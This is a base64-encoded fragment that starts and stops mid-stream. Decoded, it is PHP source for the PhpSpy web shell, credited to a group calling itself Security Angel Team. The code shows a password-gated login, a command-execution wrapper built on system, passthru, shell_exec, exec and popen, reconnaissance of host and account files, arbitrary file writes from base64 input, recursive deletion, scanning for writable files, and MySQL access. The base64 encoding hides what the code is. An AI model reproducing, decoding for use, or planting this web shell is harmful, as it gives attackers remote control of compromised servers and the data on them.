gYXMgJGl0ZW0pCgkJCQlpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQoJCQlzZWNwYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOwoJCQkkdGVtcD1hcnJheSgpOwoJCQlmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKQoJCQkJaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KCQkJc2VjcGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOwoJCQkkdGVtcD1hcnJheSgpOwoJCQlmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pIAoJCQkJaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KCQkJc2VjcGFyYW0oJ0Rvd25sb2FkZXJzJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CgkJCXNlY3BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsKCQkJc2VjcGFyYW0oJ0hERCBzcGFjZScsIGV4ZWN1dGUoJ2RmIC1oJykpOwoJCQlzZWNwYXJhbSgnTW91bnQgb3B0aW9ucycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9mc3RhYicpKTsKCQl9Cgl9IGVsc2UgewoJCXNlY3BhcmFtKCdPUyBWZXJzaW9uJyxleGVjdXRlKCd2ZXInKSk7CgkJc2VjcGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLGV4ZWN1dGUoJ25ldCBhY2NvdW50cycpKTsKCQlzZWNwYXJhbSgnVXNlciBBY2NvdW50cycsZXhlY3V0ZSgnbmV0IHVzZXInKSk7CgkJc2VjcGFyYW0oJ0lQIENvbmZpZ3VyYXRlJyxleGVjdXRlKCdpcGNvbmZpZyAtYWxsJykpOwoJfQp9Ly9lbmQKCmVsc2UgewoJbSgnVW5kZWZpbmVkIEFjdGlvbicpOwp9Cgo/Pgo8L3RkPjwvdHI+PC90YWJsZT4KPGRpdiBzdHlsZT0icGFkZGluZzoxMHB4O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNmZmY7Ym9yZGVyLXRvcDoxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNlZWU7Ij4KCTxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPjw/cGhwIGRlYnVnaW5mbygpO29iX2VuZF9mbHVzaCgpOz8+PC9zcGFuPgoJUG93ZXJlZCBieSA8YSB0aXRsZT0iQnVpbGQgMjAxMTA1MDIiIGhyZWY9Imh0dHA6Ly93d3cuNG5nZWwubmV0IiB0YXJnZXQ9Il9ibGFuayI+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ1AuaC5wLlMucC55Jyk7Pz4gMjAxMTwvYT4uIENvcHlyaWdodCAoQykgMjAwNC0yMDExIDxhIGhyZWY9Imh0dHA6Ly93d3cuNG5nZWwubmV0IiB0YXJnZXQ9Il9ibGFuayI+U2VjdXJpdHkgQW5nZWwgVGVhbSBbUzRUXTwvYT4gQWxsIFJpZ2h0cyBSZXNlcnZlZC4KPC9kaXY+CjwvYm9keT4KPC9odG1sPgoKPD9waHAKCi8qPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Cj8/Pwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0qLwoKZnVuY3Rpb24gc2VjcGFyYW0oJG4sICR2KSB7CgkkdiA9IHRyaW0oJHYpOwoJaWYoJHYpIHsKCQlwKCc8aDI+Jy4kbi4nICZyYXF1bzs8L2gyPicpOwoJCXAoJzxkaXYgY2xhc3M9ImluZm9saXN0Ij4nKTsKCQlpZihzdHJwb3MoJHYsICJcbiIpID09PSBmYWxzZSkKCQkJcCgkdi4nPGJyIC8+Jyk7CgkJZWxzZQoJCQlwKCc8cHJlPicuJHYuJzwvcHJlPicpOwoJCXAoJzwvZGl2PicpOwoJfQp9CmZ1bmN0aW9uIG0oJG1zZykgewoJZWNobyAnPGRpdiBzdHlsZT0ibWFyZ2luOjEwcHggYXV0byAxNXB4IGF1dG87YmFja2dyb3VuZDojZmZmZmUwO2JvcmRlcjoxcHggc29saWQgI2U2ZGI1NTtwYWRkaW5nOjEwcHg7Zm9udDoxNHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtd2VpZ2h0OmJvbGQ7Ij4nOwoJZWNobyAkbXNnOwoJZWNobyAnPC9kaXY+JzsKfQpmdW5jdGlvbiBzY29va2llKCRrZXksICR2YWx1ZSwgJGxpZmUgPSAwLCAkcHJlZml4ID0gMSkgewoJZ2xvYmFsICR0aW1lc3RhbXAsICRfU0VSVkVSLCAkY29va2llcHJlLCAkY29va2llZG9tYWluLCAkY29va2llcGF0aCwgJGNvb2tpZWxpZmU7Cgkka2V5ID0gKCRwcmVmaXggPyAkY29va2llcHJlIDogJycpLiRrZXk7CgkkbGlmZSA9ICRsaWZlID8gJGxpZmUgOiAkY29va2llbGlmZTsKCSR1c2Vwb3J0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gMSA6IDA7CglzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGltZXN0YW1wKyRsaWZlLCAkY29va2llcGF0aCwgJGNvb2tpZWRvbWFpbiwgJHVzZXBvcnQpOwp9CQpmdW5jdGlvbiBtdWx0aSgkbnVtLCAkcGVycGFnZSwgJGN1cnBhZ2UsICR0YWJsZW5hbWUpIHsKCSRtdWx0aXBhZ2UgPSAnJzsKCWlmKCRudW0gPiAkcGVycGFnZSkgewoJCSRwYWdlID0gMTA7CgkJJG9mZnNldCA9IDU7CgkJJHBhZ2VzID0gQGNlaWwoJG51bSAvICRwZXJwYWdlKTsKCQlpZigkcGFnZSA+ICRwYWdlcykgewoJCQkkZnJvbSA9IDE7CgkJCSR0byA9ICRwYWdlczsKCQl9IGVsc2UgewoJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJG9mZnNldDsKCQkJJHRvID0gJGN1cnBhZ2UgKyAkcGFnZSAtICRvZmZzZXQgLSAxOwoJCQlpZigkZnJvbSA8IDEpIHsKCQkJCSR0byA9ICRjdXJwYWdlICsgMSAtICRmcm9tOwoJCQkJJGZyb20gPSAxOwoJCQkJaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsKCQkJCQkkdG8gPSAkcGFnZTsKCQkJCX0KCQkJfSBlbHNlaWYoJHRvID4gJHBhZ2VzKSB7CgkJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJHBhZ2VzICsgJHRvOwoJCQkJJHRvID0gJHBhZ2VzOwoJCQkJaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsKCQkJCQkkZnJvbSA9ICRwYWdlcyAtICRwYWdlICsgMTsKCQkJCX0KCQkJfQoJCX0KCQkkbXVsdGlwYWdlID0gKCRjdXJwYWdlIC0gJG9mZnNldCA+IDEgJiYgJHBhZ2VzID4gJHBhZ2UgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsIDEpOyI+Rmlyc3Q8L2E+ICcgOiAnJykuKCRjdXJwYWdlID4gMSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4oJGN1cnBhZ2UgLSAxKS4nKTsiPlByZXY8L2E+ICcgOiAnJyk7CgkJZm9yKCRpID0gJGZyb207ICRpIDw9ICR0bzsgJGkrKykgewoJCQkkbXVsdGlwYWdlIC49ICRpID09ICRjdXJwYWdlID8gJGkuJyAnIDogJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRpLicpOyI+WycuJGkuJ108L2E+ICc7CgkJfQoJCSRtdWx0aXBhZ2UgLj0gKCRjdXJwYWdlIDwgJHBhZ2VzID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSArIDEpLicpOyI+TmV4dDwvYT4nIDogJycpLigkdG8gPCAkcGFnZXMgPyAnIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRwYWdlcy4nKTsiPkxhc3Q8L2E+JyA6ICcnKTsKCQkkbXVsdGlwYWdlID0gJG11bHRpcGFnZSA/ICc8cD5QYWdlczogJy4kbXVsdGlwYWdlLic8L3A+JyA6ICcnOwoJfQoJcmV0dXJuICRtdWx0aXBhZ2U7Cn0KLy8gPz8/PwpmdW5jdGlvbiBsb2dpbnBhZ2UoKSB7Cj8+Cgk8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoJaW5wdXQge2ZvbnQ6MTFweCBWZXJkYW5hO0JBQ0tHUk9VTkQ6ICNGRkZGRkY7aGVpZ2h0OiAxOHB4O2JvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7fQoJPC9zdHlsZT4KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPgoJPHNwYW4gc3R5bGU9ImZvbnQ6MTFweCBWZXJkYW5hOyI+UGFzc3dvcmQ6IDwvc3Bhbj48aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIiBzaXplPSIyMCI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJsb2dpbiI+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTG9naW4iPgoJPC9mb3JtPgo8P3BocAoJZXhpdDsKfS8vZW5kIGxvZ2lucGFnZSgpCgpmdW5jdGlvbiBleGVjdXRlKCRjZmUpIHsKCSRyZXMgPSAnJzsKCWlmICgkY2ZlKSB7CgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewoJCQlAb2Jfc3RhcnQoKTsKCQkJQHN5c3RlbSgkY2ZlKTsKCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsKCQkJQG9iX2VuZF9jbGVhbigpOwoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewoJCQlAb2Jfc3RhcnQoKTsKCQkJQHBhc3N0aHJ1KCRjZmUpOwoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwoJCQlAb2JfZW5kX2NsZWFuKCk7CgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKCQkJJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOwoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7CgkJCUBleGVjKCRjZmUsJHJlcyk7CgkJCSRyZXMgPSBqb2luKCJcbiIsJHJlcyk7CgkJfSBlbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpIHsKCQkJJHJlcyA9ICcnOwoJCQl3aGlsZSghQGZlb2YoJGYpKSB7CgkJCQkkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgCgkJCX0KCQkJQHBjbG9zZSgkZik7CgkJfQoJfQoJcmV0dXJuICRyZXM7Cn0KZnVuY3Rpb24gd2hpY2goJHByKSB7CgkkcGF0aCA9IGV4ZWN1dGUoIndoaWNoICRwciIpOwoJcmV0dXJuICgkcGF0aCA/ICRwYXRoIDogJHByKTsgCn0KCmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCl7CglpZigkZnA9QGZvcGVuKCRmbmFtZSwndycpKSB7CgkJQGZwdXRzKCRmcCxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOwoJCUBmY2xvc2UoJGZwKTsKCX0KfQpmdW5jdGlvbiBkaXJzaXplKCRkaXIpIHsgCgkkZGggPSBAb3BlbmRpcigkZGlyKTsKCSRzaXplID0gMDsKCXdoaWxlKCRmaWxlID0gQHJlYWRkaXIoJGRoKSkgewoJCWlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgewoJCQkkcGF0aCA9ICRkaXIuJy8nLiRmaWxlOwoJCQkkc2l6ZSArPSBAaXNfZGlyKCRwYXRoKSA/IGRpcnNpemUoJHBhdGgpIDogQGZpbGVzaXplKCRwYXRoKTsKCQl9Cgl9CglAY2xvc2VkaXIoJGRoKTsKCXJldHVybiAkc2l6ZTsKfQovLyA/Pz8/Pz8KZnVuY3Rpb24gZGVidWdpbmZvKCkgewoJZ2xvYmFsICRzdGFydHRpbWU7CgkkbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOwoJJHRvdGFsdGltZSA9IG51bWJlcl9mb3JtYXQoKCRtdGltZVsxXSArICRtdGltZVswXSAtICRzdGFydHRpbWUpLCA2KTsKCWVjaG8gJ1Byb2Nlc3NlZCBpbiAnLiR0b3RhbHRpbWUuJyBzZWNvbmQocyknOwp9CgovLz8/TVlTUUw/Pz8KZnVuY3Rpb24gbXlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZT0nJywkY2hhcnNldD0nJywkZGJwb3J0PSczMzA2JykgewoJZ2xvYmFsICRjaGFyc2V0ZGI7CglAaW5pX3NldCgnbXlzcWwuY29ubmVjdF90aW1lb3V0JywgNSk7CglpZighJGxpbmsgPSBAbXlzcWxfY29ubmVjdCgkZGJob3N0Lic6Jy4kZGJwb3J0LCAkZGJ1c2VyLCAkZGJwYXNzKSkgewoJCXAoJzxoMj5DYW4gbm90IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyPC9oMj4nKTsKCQlleGl0OwoJfQoJaWYoJGxpbmsgJiYgJGRibmFtZSkgewoJCWlmICghQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCAkbGluaykpIHsKCQkJcCgnPGgyPkRhdGFiYXNlIHNlbGVjdGVkIGhhcyBlcnJvcjwvaDI+Jyk7CgkJCWV4aXQ7CgkJfQoJfQoJaWYoJGxpbmsgJiYgbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkgPiAnNC4xJykgewoJCWlmKCRjaGFyc2V0ICYmIGluX2FycmF5KHN0cnRvbG93ZXIoJGNoYXJzZXQpLCAkY2hhcnNldGRiKSkgewoJCQlxKCJTRVQgY2hhcmFjdGVyX3NldF9jb25uZWN0aW9uPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X3Jlc3VsdHM9JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfY2xpZW50PWJpbmFyeTsiLCAkbGluayk7CgkJfQoJfQoJcmV0dXJuICRsaW5rOwp9CgovLyA/Pz8/Pz8KZnVuY3Rpb24gc19hcnJheSgmJGFycmF5KSB7CglpZiAoaXNfYXJyYXkoJGFycmF5KSkgewoJCWZvcmVhY2ggKCRhcnJheSBhcyAkayA9PiAkdikgewoJCQkkYXJyYXlbJGtdID0gc19hcnJheSgkdik7CgkJfQoJfSBlbHNlIGlmIChpc19zdHJpbmcoJGFycmF5KSkgewoJCSRhcnJheSA9IHN0cmlwc2xhc2hlcygkYXJyYXkpOwoJfQoJcmV0dXJuICRhcnJheTsKfQoKLy8gPz9IVE1MPz8KZnVuY3Rpb24gaHRtbF9jbGVhbigkY29udGVudCkgewoJJGNvbnRlbnQgPSBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KTsKCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlxuIiwgIjxiciAvPiIsICRjb250ZW50KTsKCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIiAgIiwgIiZuYnNwOyZuYnNwOyIsICRjb250ZW50KTsKCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlx0IiwgIiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyIsICRjb250ZW50KTsKCXJldHVybiAkY29udGVudDsKfQoKLy8gPz8/PwpmdW5jdGlvbiBnZXRDaG1vZCgkZmlsZXBhdGgpewoJcmV0dXJuIHN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkZmlsZXBhdGgpLDEwLDgpLC00KTsKfQoKZnVuY3Rpb24gZ2V0UGVybXMoJGZpbGVwYXRoKSB7CgkkbW9kZSA9IEBmaWxlcGVybXMoJGZpbGVwYXRoKTsKCWlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdHlwZSA9ICdzJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gJ2QnO30KCWVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAnbCc7fQoJZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdHlwZSA9ICctJzt9IAoJZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlwZSA9ICdiJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gJ2MnO30KCWVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAncCc7fQoJZWxzZSB7JHR5cGUgPSAnPyc7fQoKCSRvd25lclsncmVhZCddID0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOyAKCSRvd25lclsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsgCgkkb3duZXJbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsgCgkkZ3JvdXBbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsgCgkkZ3JvdXBbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7IAoJJGdyb3VwWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7IAoJJHdvcmxkWydyZWFkJ10gPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7IAoJJHdvcmxkWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOyAKCSR3b3JsZFsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAwMDEpID8gJ3gnIDogJy0nOyAKCglpZiggJG1vZGUgJiAweDgwMCApIHskb3duZXJbJ2V4ZWN1dGUnXSA9ICgkb3duZXJbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzt9CglpZiggJG1vZGUgJiAweDQwMCApIHskZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkZ3JvdXBbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzt9CglpZiggJG1vZGUgJiAweDIwMCApIHskd29ybGRbJ2V4ZWN1dGUnXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzt9CiAKCXJldHVybiAkdHlwZS4kb3duZXJbJ3JlYWQnXS4kb3duZXJbJ3dyaXRlJ10uJG93bmVyWydleGVjdXRlJ10uJGdyb3VwWydyZWFkJ10uJGdyb3VwWyd3cml0ZSddLiRncm91cFsnZXhlY3V0ZSddLiR3b3JsZFsncmVhZCddLiR3b3JsZFsnd3JpdGUnXS4kd29ybGRbJ2V4ZWN1dGUnXTsKfQoKZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpCXsKCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsKCQkkYXJyYXkgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZXBhdGgpKTsKCQlpZiAoJGFycmF5ICYmIGlzX2FycmF5KCRhcnJheSkpIHsKCQkJcmV0dXJuICcgLyA8YSBocmVmPSIjIiB0aXRsZT0iVXNlcjogJy4kYXJyYXlbJ25hbWUnXS4nJiMxMyYjMTBQYXNzd2Q6ICcuJGFycmF5WydwYXNzd2QnXS4nJiMxMyYjMTBVaWQ6ICcuJGFycmF5Wyd1aWQnXS4nJiMxMyYjMTBnaWQ6ICcuJGFycmF5WydnaWQnXS4nJiMxMyYjMTBHZWNvczogJy4kYXJyYXlbJ2dlY29zJ10uJyYjMTMmIzEwRGlyOiAnLiRhcnJheVsnZGlyJ10uJyYjMTMmIzEwU2hlbGw6ICcuJGFycmF5WydzaGVsbCddLiciPicuJGFycmF5WyduYW1lJ10uJzwvYT4nOwoJCX0KCX0KCXJldHVybiAnJzsKfQoKLy8gPz8/PwpmdW5jdGlvbiBkZWx0cmVlKCRkZWxkaXIpIHsKCSRteWRpcj1AZGlyKCRkZWxkaXIpOwkKCXdoaWxlKCRmaWxlPSRteWRpci0+cmVhZCgpKQl7IAkJCgkJaWYoKGlzX2RpcigkZGVsZGlyLicvJy4kZmlsZSkpICYmICgkZmlsZSE9Jy4nKSAmJiAoJGZpbGUhPScuLicpKSB7IAoJCQlAY2htb2QoJGRlbGRpci4nLycuJGZpbGUsMDc3Nyk7CgkJCWRlbHRyZWUoJGRlbGRpci4nLycuJGZpbGUpOyAKCQl9CgkJaWYgKGlzX2ZpbGUoJGRlbGRpci4nLycuJGZpbGUpKSB7CgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsKCQkJQHVubGluaygkZGVsZGlyLicvJy4kZmlsZSk7CgkJfQoJfSAKCSRteWRpci0+Y2xvc2UoKTsgCglAY2htb2QoJGRlbGRpciwwNzc3KTsKCXJldHVybiBAcm1kaXIoJGRlbGRpcikgPyAxIDogMDsKfQoKLy8gPz8/Pz8/Pz8/PwpmdW5jdGlvbiBiZygpIHsKCWdsb2JhbCAkYmdjOwoJcmV0dXJuICgkYmdjKyslMj09MCkgPyAnYWx0MScgOiAnYWx0Mic7Cn0KCi8vID8/Pz8/Pz8/Pz8/CmZ1bmN0aW9uIGdldFBhdGgoJHNjcmlwdHBhdGgsICRub3dwYXRoKSB7CglpZiAoJG5vd3BhdGggPT0gJy4nKSB7CgkJJG5vd3BhdGggPSAkc2NyaXB0cGF0aDsKCX0KCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbm93cGF0aCk7Cgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5vd3BhdGgpOwoJaWYgKHN1YnN0cigkbm93cGF0aCwgLTEpICE9ICcvJykgewoJCSRub3dwYXRoID0gJG5vd3BhdGguJy8nOwoJfQoJcmV0dXJuICRub3dwYXRoOwp9CgovLyA/Pz8/Pz8/Pz8/PwpmdW5jdGlvbiBnZXRVcFBhdGgoJG5vd3BhdGgpIHsKCSRwYXRoZGIgPSBleHBsb2RlKCcvJywgJG5vd3BhdGgpOwoJJG51bSA9IGNvdW50KCRwYXRoZGIpOwoJaWYgKCRudW0gPiAyKSB7CgkJdW5zZXQoJHBhdGhkYlskbnVtLTFdLCRwYXRoZGJbJG51bS0yXSk7Cgl9CgkkdXBwYXRoID0gaW1wbG9kZSgnLycsICRwYXRoZGIpLicvJzsKCSR1cHBhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICR1cHBhdGgpOwoJcmV0dXJuICR1cHBhdGg7Cn0KCi8vID8/UEhQPz8/PwpmdW5jdGlvbiBnZXRjZmcoJHZhcm5hbWUpIHsKCSRyZXN1bHQgPSBnZXRfY2ZnX3ZhcigkdmFybmFtZSk7CglpZiAoJHJlc3VsdCA9PSAwKSB7CgkJcmV0dXJuICdObyc7Cgl9IGVsc2VpZiAoJHJlc3VsdCA9PSAxKSB7CgkJcmV0dXJuICdZZXMnOwoJfSBlbHNlIHsKCQlyZXR1cm4gJHJlc3VsdDsKCX0KfQoKLy8gPz8/Pz8/CmZ1bmN0aW9uIGdldGZ1bigkZnVuTmFtZSkgewoJcmV0dXJuIChmYWxzZSAhPT0gZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAnWWVzJyA6ICdObyc7Cn0KCi8vID8/Pz8/Pz8KZnVuY3Rpb24gZ2V0ZXh0KCRmaWxlKSB7CgkkaW5mbyA9IHBhdGhpbmZvKCRmaWxlKTsKCXJldHVybiAkaW5mb1snZXh0ZW5zaW9uJ107Cn0KCmZ1bmN0aW9uIEdldFdEaXJMaXN0KCRkaXIpewoJZ2xvYmFsICRkaXJkYXRhLCRqLCRub3dwYXRoOwoJISRqICYmICRqPTE7CglpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgewoJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewoJCQkkZj1zdHJfcmVwbGFjZSgnLy8nLCcvJywkZGlyLicvJy4kZmlsZSk7CgkJCWlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicgJiYgaXNfZGlyKCRmKSl7CgkJCQlpZiAoaXNfd3JpdGFibGUoJGYpKSB7CgkJCQkJJGRpcmRhdGFbJGpdWydmaWxlbmFtZSddPXN0cl9yZXBsYWNlKCRub3dwYXRoLCcnLCRmKTsKCQkJCQkkZGlyZGF0YVskal1bJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGYpKTsKCQkJCQkkZGlyZGF0YVskal1bJ2RpcmNobW9kJ109Z2V0Q2htb2QoJGYpOwoJCQkJCSRkaXJkYXRhWyRqXVsnZGlycGVybSddPWdldFBlcm1zKCRmKTsKCQkJCQkkZGlyZGF0YVskal1bJ2RpcmxpbmsnXT0kZGlyOwoJCQkJCSRkaXJkYXRhWyRqXVsnc2VydmVyX2xpbmsnXT0kZjsKCQkJCQkkaisrOwoJCQkJfQoJCQkJR2V0V0Rpckxpc3QoJGYpOwoJCQl9CgkJfQoJCWNsb3NlZGlyKCRkaCk7CgkJY2xlYXJzdGF0Y2FjaGUoKTsKCQlyZXR1cm4gJGRpcmRhdGE7Cgl9IGVsc2UgewoJCXJldHVybiBhcnJheSgpOwoJfQp9CgpmdW5jdGlvbiBHZXRXRmlsZUxpc3QoJGRpcil7CglnbG9iYWwgJGZpbGVkYXRhLCRqLCRub3dwYXRoLCAkd3JpdGFibGVkYjsKCSEkaiAmJiAkaj0xOwoJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsKCQl3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsKCQkJJGV4dCA9IGdldGV4dCgkZmlsZSk7CgkJCSRmPXN0cl9yZXBsYWNlKCcvLycsJy8nLCRkaXIuJy8nLiRmaWxlKTsKCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJGYpKXsKCQkJCUdldFdGaWxlTGlzdCgkZik7CgkJCX0gZWxzZWlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicgJiYgaXNfZmlsZSgkZikgJiYgaW5fYXJyYXkoJGV4dCwgZXhwbG9kZSgnLCcsICR3cml0YWJsZWRiKSkpewoJCQkJaWYgKGlzX3dyaXRhYmxlKCRmKSkgewoJCQkJCSRmaWxlZGF0YVskal1bJ2ZpbGVuYW1lJ109c3RyX3JlcGxhY2UoJG5vd3BhdGgsJycsJGYpOwoJCQkJCSRmaWxlZGF0YVskal1bJ3NpemUnXT1zaXplY291bnQoQGZpbGVzaXplKCRmKSk7CgkJCQkJJGZpbGVkYXRhWyRqXVsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZikpOwoJCQkJCSRmaWxlZGF0YVskal1bJ2ZpbGVjaG1vZCddPWdldENobW9kKCRmKTsKCQkJCQkkZmlsZWRhdGFbJGpdWydmaWxlcGVybSddPWdldFBlcm1zKCRmKTsKCQkJCQkkZmlsZWRhdGFbJGpdWydmaWxlb3duZXInXT1nZXRVc2VyKCRmKTsKCQkJCQkkZmlsZWRhdGFbJGpdWydkaXJsaW5rJ109JGRpcjsKCQkJCQkkZmlsZWRhdGFbJGpdWydzZXJ2ZXJfbGluayddPSRmOwoJCQkJCSRqKys7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoJGRoKTsKCQljbGVhcnN0YXRjYWNoZSgpOwoJCXJldHVybiAkZmlsZWRhdGE7Cgl9IGVsc2UgewoJCXJldHVybiBhcnJheSgpOwoJfQp9CgpmdW5jdGlvbiBHZXRTRmlsZUxpc3QoJGRpciwgJGNvbnRlbnQsICRyZSA9IDApIHsKCWdsb2JhbCAkZmlsZWRhdGEsJGosJG5vd3BhdGgsICR3cml0YWJsZWRiOwoJISRqICYmICRqPTE7CglpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgewoJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewoJCQkkZXh0ID0gZ2V0ZXh0KCRmaWxlKTsKCQkJJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOwoJCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nICYmIGlzX2RpcigkZikpewoJCQkJR2V0U0ZpbGVMaXN0KCRmLCAkY29udGVudCwgJHJlID0gMCk7CgkJCX0gZWxzZWlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicgJiYgaXNfZmlsZSgkZikgJiYg